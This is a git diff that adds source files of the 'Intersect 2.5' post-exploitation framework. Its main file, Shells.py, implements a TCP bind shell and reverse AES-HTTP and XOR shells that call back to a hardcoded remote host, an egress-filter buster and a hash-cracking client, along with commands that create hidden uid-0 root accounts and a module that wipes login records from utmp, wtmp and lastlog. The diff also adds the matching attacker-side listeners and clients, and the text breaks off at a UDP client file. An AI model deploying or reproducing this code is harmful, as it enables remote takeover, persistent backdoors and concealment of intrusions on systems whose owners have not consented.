+Persist.py Script + modules: bshell, persistent, creds + +Network.py Script + modules: network, lanmap, webproxy, egressbuster + +Shells.py Script + modules: aeshttp, xorshell, network, persistent, scrub + +Gather.py Script + modules: osuser, creds, extras, network, archive diff --git a/Intersect-2.5/Scripts/Samples/Shells.py b/Intersect-2.5/Scripts/Samples/Shells.py new file mode 100644 index 0000000..32e5fe1 --- /dev/null +++ b/Intersect-2.5/Scripts/Samples/Shells.py @@ -0,0 +1,808 @@ +#!/usr/bin/python +# intersect 2.0 | created by ohdae +# copyright 2012 +# payload_template to be used with Create.py + +import sys, os, re, signal +from subprocess import Popen,PIPE,STDOUT,call +import platform +import shutil +import getopt +import tarfile +import socket +import urllib2 +import random, string +import logging +import struct +import getpass +import pwd +import thread +import base64 +import operator +import SocketServer, SimpleHTTPServer + +cut = lambda s: str(s).split("\0",1)[0] +logging.getLogger("scapy.runtime").setLevel(logging.ERROR) + +try: + from scapy.all import * +except ImportError: + try: + from scapy import * + except ImportError: + print("Scapy is not installed. It can be downloaded here => https://www.secdev.org/projects/scapy/\n") + +def environment(): + global Home_Dir + global Temp_Dir + global Config_Dir + global User_Ip_Address + global UTMP_STRUCT_SIZE + global LASTLOG_STRUCT_SIZE + global UTMP_FILEPATH + global WTMP_FILEPATH + global LASTLOG_FILEPATH + global distro + global distro2 + + ## Global variables for remote shells are defined during the creation process + ## Variables for Scrub module. Do not change unless you know what you're doing. + UTMP_STRUCT_SIZE = 384 + LASTLOG_STRUCT_SIZE = 292 + UTMP_FILEPATH = "/var/run/utmp" + WTMP_FILEPATH = "/var/log/wtmp" + LASTLOG_FILEPATH = "/var/log/lastlog" + + distro = os.uname()[1] + distro2 = platform.linux_distribution()[0] + + Home_Dir = os.environ['HOME'] + User_Ip_Address = socket.gethostbyname(socket.gethostname()) + + Rand_Dir = ''.join(random.choice(string.letters) for i in xrange(12)) + Temp_Dir = "/tmp/lift-"+"%s" % Rand_Dir + Config_Dir = Temp_Dir+"/configs/" + + if os.geteuid() != 0: + print("[*] Intersect should be executed as a root user. If you are not root, Intersect can check for privilege escalation vulnerabilites.") + print("[*] Enter '1' to check for possible vulnerabilities (privesc module must be loaded). Enter '99' to exit without checking.") + option = raw_input("=> " ) + if option == '1': + privesc() + sys.exit() + else: + sys.exit() + else: + pass + + signal.signal(signal.SIGINT, signalHandler) + + os.system("clear") + print("[+] Creating temporary working environment....") + + os.chdir(Home_Dir) + + if os.path.exists(Temp_Dir) is True: + os.system("rm -rf "+Temp_Dir) + + if os.path.exists(Temp_Dir) is False: + os.mkdir(Temp_Dir) + + print "[!] Reports will be saved in: %s" % Temp_Dir + + +def signalHandler(signal, frame): + print("[!] Ctrl-C caught, shutting down now"); + Shutdown() + + +def Shutdown(): + if not os.listdir(Temp_Dir): + os.rmdir(Temp_Dir) + sys.exit() + +def whereis(program): + for path in os.environ.get('PATH', '').split(':'): + if os.path.exists(os.path.join(path, program)) and \ + not os.path.isdir(os.path.join(path, program)): + return os.path.join(path, program) + return None + + +def copy2temp(filename, subdir=""): + if os.path.exists(filename) is True: + pass + if subdir == "" is True: + shutil.copy2(filename, Temp_Dir) + else: + if os.path.exists(Temp_Dir+"/"+subdir) is True: + subdir = (Temp_Dir+"/"+subdir) + shutil.copy2(filename, subdir) + elif os.path.exists(subdir) is True: + shutil.copy2(filename, subdir) + else: + subdir = (Temp_Dir+"/"+subdir) + os.mkdir(subdir) + shutil.copy2(filename, subdir) + else: + pass + +def write2file(filename, text): + if os.path.exists(filename) is True: + target = open(filename, "a") + target.write(text) + target.close() + else: + pass + +def writenew(filename, content): + new = open(filename, "a") + new.write(content) + new.close() + +def file2file(readfile, writefile): + if os.path.exists(readfile) is True: + readfile = open(readfile) + if os.path.exists(writefile) is True: + writefile = open(writefile, "a") + for lines in readfile.readlines(): + writefile.write(lines) + writefile.close() + readfile.close() + else: + readfile.close() + else: + pass + +def maketemp(subdir): + moddir = (Temp_Dir+"/"+subdir) + if os.path.exists(moddir) is False: + os.mkdir(moddir) + else: + pass + +def users(): + global userlist + userlist = [] + passwd = open('/etc/passwd') + for line in passwd: + fields = line.split(':') + uid = int(fields[2]) + if uid > 500 and uid < 32328: + userlist.append(fields[0]) + +def combinefiles(newfile, filelist): + content = '' + for f in filelist: + if os.path.exists(f) is True: + content = content + '\n' + open(f).read() + open(newfile,'wb').write(content) + else: + pass + +def tardir(name, directory): + tar = tarfile.open("%s.tar.gz", "w:gz" % name) + if os.path.exists(directory) is True: + tar.add("%s/" % directory) + print("[+] %s added to %s.tar.gz" % (name, directory)) + tar.close() + else: + print("[!] Could not find directory %s " % directory) + tar.close() + +def tarlist(name, filelist): + tar = tarfile.open("%s.tar.gz" % name, "w:gz") + for files in filelist: + if os.path.exists(files) is True: + tar.add(files) + else: + print("[!] %s not found. Skipping.." % files) + tar.close() + + print("[+] %s.tar.gz file created!" % name) + + + + +def globalvars(): + global PORT + global RHOST + global RPORT + global PPORT + global PKEY + global modList + + modList = ['bshell', 'xmlcrack', 'egressbuster', 'aeshttp', 'reversexor', 'xorshell', 'scrub'] + PORT = 4444 + RHOST = '192.168.1.4' + RPORT = 6666 + PPORT = 8888 + PKEY = 'JFDSISXX' + + +def bshell(): + ''' + @description: Starts a TCP bind shell on the target system. Interactive shell with download/upload, cd and ability to execute other modules remotely." + @author: ohdae [bindshell@live.com] + @short: TCP bindshell + ''' + HOST = '' + socksize = 4096 + server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,1) + try: + server.bind((HOST, PORT)) + server.listen(10) + conn, addr = server.accept() + conn.send("\nIntersect "+str(os.getcwd())+" => ") + except: + print "[!] Connection closed." + sys.exit(2) + + while True: + cmd = conn.recv(socksize) + proc = Popen(cmd, + shell=True, + stdout=PIPE, + stderr=PIPE, + stdin=PIPE, + ) + stdout, stderr = proc.communicate() + + if cmd.startswith('cd'): + destination = cmd[3:].replace('\n','') + if os.path.isdir(destination): + os.chdir(destination) + conn.send("\nIntersect "+str(os.getcwd())+" => ") + else: + conn.send("[!] Directory does not exist") + conn.send("\nIntersect "+str(os.getcwd())+" => ") + + elif cmd.startswith('adduser'): + strip = cmd.split(" ") + acct = strip[1] + os.system("/usr/sbin/useradd -M -o -s /bin/bash -u 0 -l " + acct) + conn.send("[+] Root account " + acct + " has been created.") + + elif cmd.startswith('upload'): + getname = cmd.split(" ") + rem_file = getname[1] + filename = rem_file.replace("/","_") + filedata = conn.recv(socksize) + newfile = file(filename, "wb") + newfile.write(filedata) + newfile.close() + if os.path.isfile(filename): + conn.send("[+] File upload complete!") + if not os.path.isfile(filename): + conn.send("[!] File upload failed! Please try again") + + elif cmd.startswith('download'): + getname = cmd.split(" ") + loc_file = getname[1] + if os.path.exists(loc_file) is True: + sendfile = open(loc_file, "r") + filedata = sendfile.read() + sendfile.close() + conn.sendall(filedata) + else: + conn.send("[+] File not found!") + + elif cmd.startswith("rebootsys"): + conn.send("[!] Server system is going down for a reboot!") + os.system("shutdown -h now") + + elif cmd == ("extask"): + conn.send(str(modList)) + conn.send("\nIntersect "+str(os.getcwd())+" => ") + + elif cmd.startswith("extask"): + getname = cmd.split(" ") + modname = getname[1] + if modname in modList is False: + conn.send("[!] Module not loaded!") + else: + conn.send("[+] Executing %s " % modname) + execmod = modname+"()" + execmod + + elif cmd == ('killme'): + conn.send("[!] Shutting down shell!\n") + conn.close() + sys.exit(0) + + elif proc: + conn.sendall( stdout ) + conn.send("\nIntersect "+str(os.getcwd())+" => ") + + +def xmlcrack(): + ''' + @description: Sends hash list to remote XMLRPC server for cracking. Crackserver.py must be running on the remote host. + @author: original code by Stephen Haywood aka averagesecurityguy + @short: xmlrpc crack client (-x filename hashtype) + ''' + if len(sys.argv) <=3: + print("[!] Must specify a filename and hashtype!") + sys.exit() + + import time + try: + import xmlrpclib + except ImportError: + print("[!] Python library XMLRPC is not installed!") + sys.exit(0) + + data = [] + filename = sys.argv[2] + hashtype = sys.argv[3] + + try: + #Open the hash file and convert it to an array before sending it in the + #XMLRPC request. + file = open(filename, 'rb') + for line in file: + data.append(line.rstrip('\r\n')) + file.close() + except Exception, err: + print "Error opening file " + filename + ": " + str(err) + + # Open connection to xmlrpc server + server = ("http://"+RHOST+":"+str(RPORT)) + try: + s = xmlrpclib.ServerProxy(server) + except: + print "Error opening connection to server " + server + ": " + str(err) + + # Send request to server and receive ID + id, msg = s.crack(data, hashtype) + + if id == 0: + print msg + else: + # Poll server for completion status and results using ID. + complete = False + wait = 10 + while True: + time.sleep(wait) + complete, results = s.results(id) + if results != []: + for r in results: + print r.rstrip('\r\n') + if complete: break + +def egressbuster(): + ''' + @description: Checks a range of ports to find available outbound ports. used to break egress filters. + @author: original code by David Kennedy aka ReL1K + @short: finds open outbound ports + ''' + if len(sys.argv) <=2: + print("[!] Must specify a port-range!") + sys.exit() + + portrange = sys.argv[2] + portrange = portrange.split("-") + lowport = int(portrange[0]) + highport = int(portrange[1]) + base_port = int(lowport)-1 + end_port = int(highport) + + print "Sending packets to egress listener..." + + while 1: + base_port = base_port + 1 + thread.start_new_thread(start_socket, (RHOST,base_port)) + + time.sleep(0.02) + + if base_port == end_port: + break + + print "All packets have been sent" + + +def start_socket(RHOST,base_port): + try: + sockobj = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sockobj.connect((RHOST, base_port)) + sockobj.send(str(base_port)) + sockobj.close() + except Exception, e: + print e + # pass through, ports closed + pass + + + +def aeshttp(): + ''' + @description: Starts a reverse HTTP shell with AES encryption that will connect back to a remote host. + @short: reverse AES HTTP shell + @author: original code by David Kennedy aka ReL1k + ''' + import httplib + import urllib + try: + from Crypto.Cipher import AES + except ImportError: + print("[!] Python Crypto library is not installed. This module will not work without this!") + sys.exit(2) + + BLOCK_SIZE = 32 + PADDING = '{' + pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * PADDING + EncodeAES = lambda c, s: base64.b64encode(c.encrypt(pad(s))) + DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(PADDING) + + secret = "Fj39@vF4@54&8dE@!)(*^+-pL;'dK3J2" + + cipher = AES.new(secret) + + while 1: + + req = urllib2.Request('http://%s:%s' % (RHOST,RPORT)) + message = urllib2.urlopen(req) + message = base64.b64decode(message.read()) + message = DecodeAES(cipher, message) + + if message == "killme": + sys.exit() + + if message.startswith("cd"): + destination = message[3:].replace('\n','') + if os.path.isdir(destination): + os.chdir(destination) + else: + pass + + + proc = subprocess.Popen(message, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + + data = proc.stdout.read() + proc.stderr.read() + data = EncodeAES(cipher, data) + data = base64.b64encode(data) + data = urllib.urlencode({'cmd': '%s'}) % (data) + h = httplib.HTTPConnection('%s:%s' % (RHOST,RPORT)) + headers = {"User-Agent" : "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)","Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain"} + h.request('POST', '/index.aspx', data, headers) + + + +def xor(string, key): + ''' + @description: Opens a reverse XOR ciphered TCP shell to a remote host. Interactive shell with download/upload and remote Intersect module execution. + @author: ohdae [bindshell@live.com] + @short: reverse XOR TCP shell + ''' + data = '' + for char in string: + for ch in key: + char = chr(ord(char) ^ ord(ch)) + data += char + return data + + +def reversexor(): + socksize = 4096 + conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + + try: + conn.connect((RHOST, RPORT)) + conn.send(xor("[+] New connection established!", PKEY)) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + except: + print("[!] Connection error!") + sys.exit(2) + + while True: + cmd = conn.recv(socksize) + cmd2 = xor(cmd, PKEY) + proc = Popen(cmd2, + shell=True, + stdout=PIPE, + stderr=PIPE, + stdin=PIPE, + ) + stdout, stderr = proc.communicate() + + if cmd2.startswith('cd'): + destination = cmd2[3:].replace('\n','') + if os.path.isdir(destination): + os.chdir(destination) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + elif os.path.isdir(os.getcwd()+destination): + os.chdir(os.getcwd()+destination) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + else: + conn.send(xor("[!] Directory does not exist", PKEY)) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + + elif cmd2.startswith('adduser'): + strip = cmd.split(" ") + acct = strip[1] + os.system("/usr/sbin/useradd -M -o -s /bin/bash -u 0 -l " + acct) + conn.send(xor("[+] Root account " + acct + " has been created.", PKEY)) + + elif cmd2.startswith('upload'): + getname = cmd2.split(" ") + rem_file = getname[1] + filename = rem_file.replace("/","_") + data = conn.recv(socksize) + filedata = xor(data, PKEY) + newfile = file(filename, "wb") + newfile.write(filedata) + newfile.close() + if os.path.isfile(filename): + conn.send(xor("[+] File upload complete!", PKEY)) + if not os.path.isfile(filename): + conn.send(xor("[!] File upload failed! Please try again", PKEY)) + + elif cmd2.startswith('download'): + getname = cmd2.split(" ") + loc_file = getname[1] + if os.path.exists(loc_file) is True: + sendfile = open(loc_file, "r") + filedata = sendfile.read() + sendfile.close() + senddata = xor(filedata, PKEY) + conn.sendall(senddata) + else: + conn.send(xor("[+] File not found!", PKEY)) + + elif cmd2.startswith("rebootsys"): + conn.send(xor("[!] Server system is going down for a reboot!", PKEY)) + os.system("shutdown -h now") + + elif cmd2 == ("extask"): + conn.send(xor(str(modList), PKEY)) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + + elif cmd2.startswith("extask"): + getname = cmd.split(" ") + modname = getname[1] + if modname in modList is False: + conn.send(xor("[!] Module not loaded!", PKEY)) + else: + conn.send(xor("[+] Executing %s " % modname, PKEY)) + execmod = modname+"()" + execmod + + elif cmd2 == ('killme'): + conn.send(xor("[!] Shutting down shell!\n", PKEY)) + conn.close() + sys.exit(0) + + elif proc: + conn.send(xor( stdout , PKEY)) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + + + +def xor(string, key): + ''' + @description: Starts a XOR ciphered TCP bindshell on the target. Interactive shell with download/upload and remote Intersect module execution. + @author: ohdae [bindshell@live.com] + @short: XOR TCP bindshell + ''' + data = '' + for char in string: + for ch in key: + char = chr(ord(char) ^ ord(ch)) + data += char + return data + + +def xorshell(): + HOST = '' + socksize = 4096 + server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,1) + try: + server.bind((HOST, PORT)) + server.listen(10) + print("[+] Shell bound on port %s" % PORT) + conn, addr = server.accept() + print "[+] New Connection: %s" % addr[0] + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + except: + print "[!] Connection closed." + sys.exit(2) + + while True: + cmd = conn.recv(socksize) + cmd2 = xor(cmd, PKEY) + proc = Popen(cmd2, + shell=True, + stdout=PIPE, + stderr=PIPE, + stdin=PIPE, + ) + stdout, stderr = proc.communicate() + + if cmd2.startswith('cd'): + destination = cmd2[3:].replace('\n','') + if os.path.isdir(destination): + os.chdir(destination) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + elif os.path.isdir(os.getcwd()+destination): + os.chdir(os.getcwd()+destination) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + else: + conn.send(xor("[!] Directory does not exist", PKEY)) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + + elif cmd2.startswith('adduser'): + strip = cmd.split(" ") + acct = strip[1] + os.system("/usr/sbin/useradd -M -o -s /bin/bash -u 0 -l " + acct) + conn.send(xor("[+] Root account " + acct + " has been created.\n", PKEY)) + + elif cmd2.startswith('upload'): + getname = cmd2.split(" ") + rem_file = getname[1] + filename = rem_file.replace("/","_") + data = conn.recv(socksize) + filedata = xor(data, PKEY) + newfile = file(filename, "wb") + newfile.write(filedata) + newfile.close() + if os.path.isfile(filename): + conn.send(xor("[+] File upload complete!", PKEY)) + if not os.path.isfile(filename): + conn.send(xor("[!] File upload failed! Please try again", PKEY)) + + elif cmd2.startswith('download'): + getname = cmd2.split(" ") + loc_file = getname[1] + if os.path.exists(loc_file) is True: + sendfile = open(loc_file, "r") + filedata = sendfile.read() + sendfile.close() + senddata = xor(filedata, PKEY) + conn.sendall(senddata) + else: + conn.send(xor("[+] File not found!", PKEY)) + + elif cmd2.startswith("rebootsys"): + conn.send(xor("[!] Server system is going down for a reboot!", PKEY)) + os.system("shutdown -h now") + + elif cmd2 == ("extask"): + conn.send(xor(str(modList), PKEY)) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + + elif cmd2.startswith("extask"): + getname = cmd.split(" ") + modname = getname[1] + if modname in modList is False: + conn.send(xor("[!] Module not loaded!", PKEY)) + else: + conn.send(xor("[+] Executing %s " % modname, PKEY)) + execmod = modname+"()" + execmod + + elif cmd2 == ('killme'): + conn.send(xor("[!] Shutting down shell!\n", PKEY)) + conn.close() + sys.exit(0) + + elif proc: + conn.send(xor( stdout , PKEY)) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + + + + +def scrub(): + ''' + @description: Attempts to remove the currently logged in username and IP address from utmp, wtmp and lastlog. Intrusive method. + @author: ohdae [bindshell@live.com] + @short: cleans utmp, wtmp and lastlog + ''' + try: + Current_User = os.getlogin() + except OSError: + print "[!] Cannot find user in logs. Did you all ready run --scrub ?" + return + + newUtmp = scrubFile(UTMP_FILEPATH, Current_User) + writeNewFile(UTMP_FILEPATH, newUtmp) + print "[+] %s cleaned" % UTMP_FILEPATH + + newWtmp = scrubFile(WTMP_FILEPATH, Current_User) + writeNewFile(WTMP_FILEPATH, newWtmp) + print "[+] %s cleaned" % WTMP_FILEPATH + + newLastlog = scrubLastlogFile(LASTLOG_FILEPATH, Current_User) + writeNewFile(LASTLOG_FILEPATH, newLastlog) + print "[+] %s cleaned" % LASTLOG_FILEPATH + + +def scrubFile(filePath, Current_User): + newUtmp = "" + with open(filePath, "rb") as f: + bytes = f.read(UTMP_STRUCT_SIZE) + while bytes != "": + data = struct.unpack("hi32s4s32s256shhiii36x", bytes) + if cut(data[4]) != Current_User and cut(data[5]) != User_Ip_Address: + newUtmp += bytes + bytes = f.read(UTMP_STRUCT_SIZE) + f.close() + return newUtmp + + +def scrubLastlogFile(filePath, Current_User): + pw = pwd.getpwnam(Current_User) + uid = pw.pw_uid + idCount = 0 + newLastlog = '' + + with open(filePath, "rb") as f: + bytes = f.read(LASTLOG_STRUCT_SIZE) + while bytes != "": + data = struct.unpack("hh32s256s", bytes) + if (idCount != uid): + newLastlog += bytes + idCount += 1 + bytes = f.read(LASTLOG_STRUCT_SIZE) + return newLastlog + + +def writeNewFile(filePath, fileContents): + f = open(filePath, "w+b") + f.write(fileContents) + f.close() + + + + +def usage(): + print('============================================') + print(' intersect 2.5 | custom version ') + print(' http://bindshell.it.cx | ohdae') + print(' Modules:') + print(' -b --bshell TCP bindshell') + print(' -x --xmlcrack xmlrpc crack client (-x filename hashtype)') + print(' -e --egressbuster finds open outbound ports') + print(' -a --aeshttp reverse AES HTTP shell') + print(' -r --reversexor reverse XOR TCP shell') + print(' -x --xorshell XOR TCP bindshell') + print(' -s --scrub cleans utmp, wtmp and lastlog') + +def main(argv): + try: + opts, args = getopt.getopt(sys.argv[1:], 'bxearxs', ['bshell', 'xmlcrack', 'egressbuster', 'aeshttp', 'reversexor', 'xorshell', 'scrub', 'help']) + except getopt.GetoptError, err: + print str(err) + Shutdown() + for o, a in opts: + if o in ('-h', '--help'): + usage() + Shutdown() + sys.exit(2) + elif o in ('-b', '--bshell'): + bshell() + elif o in ('-x', '--xmlcrack'): + xmlcrack() + elif o in ('-e', '--egressbuster'): + egressbuster() + elif o in ('-a', '--aeshttp'): + aeshttp() + elif o in ('-r', '--reversexor'): + reversexor() + elif o in ('-x', '--xorshell'): + xorshell() + elif o in ('-s', '--scrub'): + scrub() + else: + assert False, 'unhandled option' + Shutdown() + + +globalvars() +environment() +if __name__ == "__main__": + if len(sys.argv) <=1: + usage() + main(sys.argv[1:]) \ No newline at end of file diff --git a/Intersect-2.5/Storage/readme b/Intersect-2.5/Storage/readme new file mode 100644 index 0000000..81b828f --- /dev/null +++ b/Intersect-2.5/Storage/readme @@ -0,0 +1,5 @@ +Intersect Framework +Storage Directory + +This folder is where files downloaded using the client-server shells +will be kept. diff --git a/Intersect-2.5/Tools/Standalone-Shells/AESHTTP/aes-server.py b/Intersect-2.5/Tools/Standalone-Shells/AESHTTP/aes-server.py new file mode 100644 index 0000000..635ed7c --- /dev/null +++ b/Intersect-2.5/Tools/Standalone-Shells/AESHTTP/aes-server.py @@ -0,0 +1,117 @@ +#!/usr/bin/python +############################################ +# +# +# AES Encrypted Reverse HTTP Listener by: +# +# Dave Kennedy (ReL1K) +# http://www.secmaniac.com +# +# +############################################ +from BaseHTTPServer import BaseHTTPRequestHandler +from BaseHTTPServer import HTTPServer +import urlparse +import os, re, sys +import base64 +from Crypto.Cipher import AES + +if len(sys.argv) <=1: + print("Must specify listening port!") + sys.exit(0) +else: + PORT = sys.argv[1] + +# the block size for the cipher object; must be 16, 24, or 32 for AES +BLOCK_SIZE = 32 +# the character used for padding--with a block cipher such as AES, the value +# you encrypt must be a multiple of BLOCK_SIZE in length. This character is +# used to ensure that your value is always a multiple of BLOCK_SIZE +PADDING = '{' +# one-liner to sufficiently pad the text to be encrypted +pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * PADDING + +# one-liners to encrypt/encode and decrypt/decode a string +# encrypt with AES, encode with base64 +EncodeAES = lambda c, s: base64.b64encode(c.encrypt(pad(s))) +DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(PADDING) + +# 32 character secret key - change this if you want to be unique +secret = "Fj39@vF4@54&8dE@!)(*^+-pL;'dK3J2" + +# create a cipher object using the random secret +cipher = AES.new(secret) + +# url decode for postbacks +def htc(m): + return chr(int(m.group(1),16)) + +# url decode +def urldecode(url): + rex=re.compile('%([0-9a-hA-H][0-9a-hA-H])',re.M) + return rex.sub(htc,url) + +class GetHandler(BaseHTTPRequestHandler): + + # handle get request + def do_GET(self): + + # this will be our shell command + message = raw_input("shell> ") + # send a 200 OK response + self.send_response(200) + # end headers + self.end_headers() + # encrypt the message + message = EncodeAES(cipher, message) + # base64 it + message = base64.b64encode(message) + # write our command shell param to victim + self.wfile.write(message) + # return out + return + + # handle post request + def do_POST(self): + + # send a 200 OK response + self.send_response(200) + # # end headers + self.end_headers() + # grab the length of the POST data + length = int(self.headers.getheader('content-length')) + # read in the length of the POST data + qs = self.rfile.read(length) + # url decode + url=urldecode(qs) + # remove the parameter cmd + url=url.replace("cmd=", "") + # base64 decode + message = base64.b64decode(url) + # decrypt the string + message = DecodeAES(cipher, message) + # display the command back decrypted + print message + +if __name__ == '__main__': + + # bind to all interfaces + server = HTTPServer(('', len(PORT)), GetHandler) + print """############################################ +# +# +# AES Encrypted Reverse HTTP Listener by: +# +# Dave Kennedy (ReL1K) +# http://www.secmaniac.com +# +# +############################################""" + print 'Starting encrypted web shell server, use to stop' + # simple try block + try: + # serve and listen forever + server.serve_forever() + # handle keyboard interrupts + except KeyboardInterrupt: + print "[!] Exiting the encrypted webserver shell.. hack the gibson." diff --git a/Intersect-2.5/Tools/Standalone-Shells/EgressBuster/egress_listener.py b/Intersect-2.5/Tools/Standalone-Shells/EgressBuster/egress_listener.py new file mode 100644 index 0000000..41ced88 --- /dev/null +++ b/Intersect-2.5/Tools/Standalone-Shells/EgressBuster/egress_listener.py @@ -0,0 +1,71 @@ +#!/usr/bin/python + +import threading +import time +import SocketServer +import sys + +# +# +# This is the listener for the egress buster - works both on posix and windows +# +# Egress Buster Listener - Written by: Dave Kennedy (ReL1K) +# +# + +# assign arg params +try: + portrange = sys.argv[1] + portrange = portrange.split("-") + lowport = int(portrange[0]) + lowport = lowport - 1 + highport = int(portrange[1]) + +# if we didnt put anything in args +except IndexError: + print """ +Egress Buster v0.1 - Find open ports inside a network + +Only use a 1000 at a time! Anything more will cause errors. + +Quick Egress Buster Listener written by: Dave Kennedy (ReL1K) + +Usage: python egress_listener.py +Example: python egress_listener.py 1-1000 + """ + sys.exit() + +# base class handler for socket server +class ThreadedTCPRequestHandler(SocketServer.BaseRequestHandler): + + # handle the packet + def handle(self): + self.data = self.request.recv(1024).strip() + print "%s connected on port: %s\n" % (self.client_address[0],self.data) + # self.request.send(self.data.upper()) + +class ThreadedTCPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer): + pass + +if __name__ == "__main__": + + while 1: + + lowport = lowport + 1 + try: + socketserver = ThreadedTCPServer(('', lowport), ThreadedTCPRequestHandler) + socketserver_thread = threading.Thread(target=socketserver.serve_forever) + socketserver_thread.setDaemon(True) + socketserver_thread.start() + + except Exception, e: + print e + pass + + if lowport == highport: break + + while 1: + try: + time.sleep(1) + except KeyboardInterrupt: + break diff --git a/Intersect-2.5/Tools/Standalone-Shells/ICMP/icmp-master.py b/Intersect-2.5/Tools/Standalone-Shells/ICMP/icmp-master.py new file mode 100644 index 0000000..e69de29 diff --git a/Intersect-2.5/Tools/Standalone-Shells/TCP/tcp-client.py b/Intersect-2.5/Tools/Standalone-Shells/TCP/tcp-client.py new file mode 100644 index 0000000..84dbab8 --- /dev/null +++ b/Intersect-2.5/Tools/Standalone-Shells/TCP/tcp-client.py @@ -0,0 +1,85 @@ +#!/usr/bin/python + +# Intersect 2.5 +# TCP Shell Client +# https://github.com/ohdae/Intersect-2.0/ + +import os, sys +import socket +from subprocess import Popen,PIPE,STDOUT,call + +try: + HOST = sys.argv[1] + PORT = int(sys.argv[2]) +except IndexError: + print("You must specify a host IP address and port number!") + print("usage: ./tcp-client.py 192.168.1.4 4444") + sys.exit() + +socksize = 4096 +server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + +try: + server.connect((HOST, PORT)) + print("[+] New connection established!") + print("[+] Starting Intersecting shell....") + print("[+] Type ':help' for all commands.") +except: + print("[!] Connection error!") + sys.exit(2) + + +while True: + data = server.recv(socksize) + cmd = raw_input(data) + server.sendall(str(cmd)) + + if cmd == (':killme'): + print("[!] Shutting down Intersect!") + server.close() + sys.exit(0) + + if cmd == (':quit'): + print("[!] Closing shell connection!") + server.close() + sys.exit(0) + + elif cmd.startswith(':download'): + getname = cmd.split(" ") + rem_file = getname[1] + filename = rem_file.replace("/","_") + data = server.recv(socksize) + newfile = file(filename, "wb") + newfile.write(data) + newfile.close() + if os.path.exists(filename) is True: + print("[+] Download complete.") + print("[+] File location: " + os.getcwd()+"/"+filename) + + elif cmd.startswith(':upload'): + getname = cmd.split(" ") + loc_file = getname[1] + sendfile = open(loc_file, "r") + filedata = sendfile.read() + sendfile.close() + server.sendall(filedata) + + elif cmd.startswith(':exec'): + print("[!] Feature not yet implemented!") + + elif cmd == (":help"): + print(" Available Commands: ") + print("---------------------------------") + print(" :download | download file from host") + print(" :upload | upload file to host") + print(" :mods | list available modules") + print(" :exec | run Intersect tasks") + print(" :addroot | add new root account") + print(" :reboot | reboot remote host system") + print(" :help | display this menu") + print(" :killme | shuts down Intersect completely") + print(" :quit | closes shell connection\n") + + print("* If the shell appears to hang after sending or receiving data, press [enter] and it should fix the issue.") + +server.close() diff --git a/Intersect-2.5/Tools/Standalone-Shells/TCP/tcp-listener.py b/Intersect-2.5/Tools/Standalone-Shells/TCP/tcp-listener.py new file mode 100644 index 0000000..6eb080d --- /dev/null +++ b/Intersect-2.5/Tools/Standalone-Shells/TCP/tcp-listener.py @@ -0,0 +1,94 @@ +#!/usr/bin/python + +# Intersect 2.5 +# TCP Shell Listener +# https://github.com/ohdae/Intersect-2.0 + +import os, sys +import socket +import time + +activePID = [] +socksize = 4096 + +try: + HOST = sys.argv[1] + PORT = int(sys.argv[2]) +except IndexError: + print("You must specify a host IP address and port number!") + print("usage: ./tcp-client.py 192.168.1.4 4444") + sys.exit() + +server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,1) +server.bind((HOST, PORT)) +server.listen(5) +print("Listening on port %s for 5 connetions..." % PORT) + +def reaper(): + while activePID: + pid,stat = os.waitpid(0, os.WNOHANG) + if not pid: break + activePID.remove(pid) + +def accept(): + while 1: + conn, addr = server.accept() + print "[!] New connection!" + reaper() + childPid = os.fork() + if childPid == 0: + handler(conn) + else: + activePID.append(childPid) + +def handler(conn): + time.sleep(3) + + while True: + data = conn.recv(socksize) + cmd = raw_input(data) + conn.sendall(str(cmd)) + if cmd == (':killme'): + print("[!] Shutting down shell!") + conn.close() + sys.exit(0) + elif cmd.startswith(':download'): + getname = cmd.split(" ") + rem_file = getname[1] + filename = rem_file.replace("/","_") + data = conn.recv(socksize) + newfile = file(filename, "wb") + newfile.write(data) + newfile.close() + if os.path.exists(filename) is True: + print("[+] Download complete.") + print("[+] File location: " + os.getcwd()+"/"+filename) + elif cmd.startswith(':upload'): + getname = cmd.split(" ") + loc_file = getname[1] + sendfile = open(loc_file, "r") + filedata = sendfile.read() + sendfile.close() + conn.sendall(filedata) + elif cmd == (":exec"): + print("Feature not yet fully implemented!") + elif cmd == (":help"): + print(" Available Commands: ") + print("---------------------------------") + print(" :download | download file from host") + print(" :upload | upload file to host") + print(" :mods | list available modules") + print(" :exec | run Intersect tasks") + print(" :addroot | add new root account") + print(" :reboot | reboot remote host system") + print(" :help | display this menu") + print(" :killme | shuts down shell connection\n") + print("* If the shell appears to hang after sending or receiving data, press [enter] and it should fix the issue.") + + conn.close() + os._exit(0) + + +accept() + diff --git a/Intersect-2.5/Tools/Standalone-Shells/UDP/udp-client.py 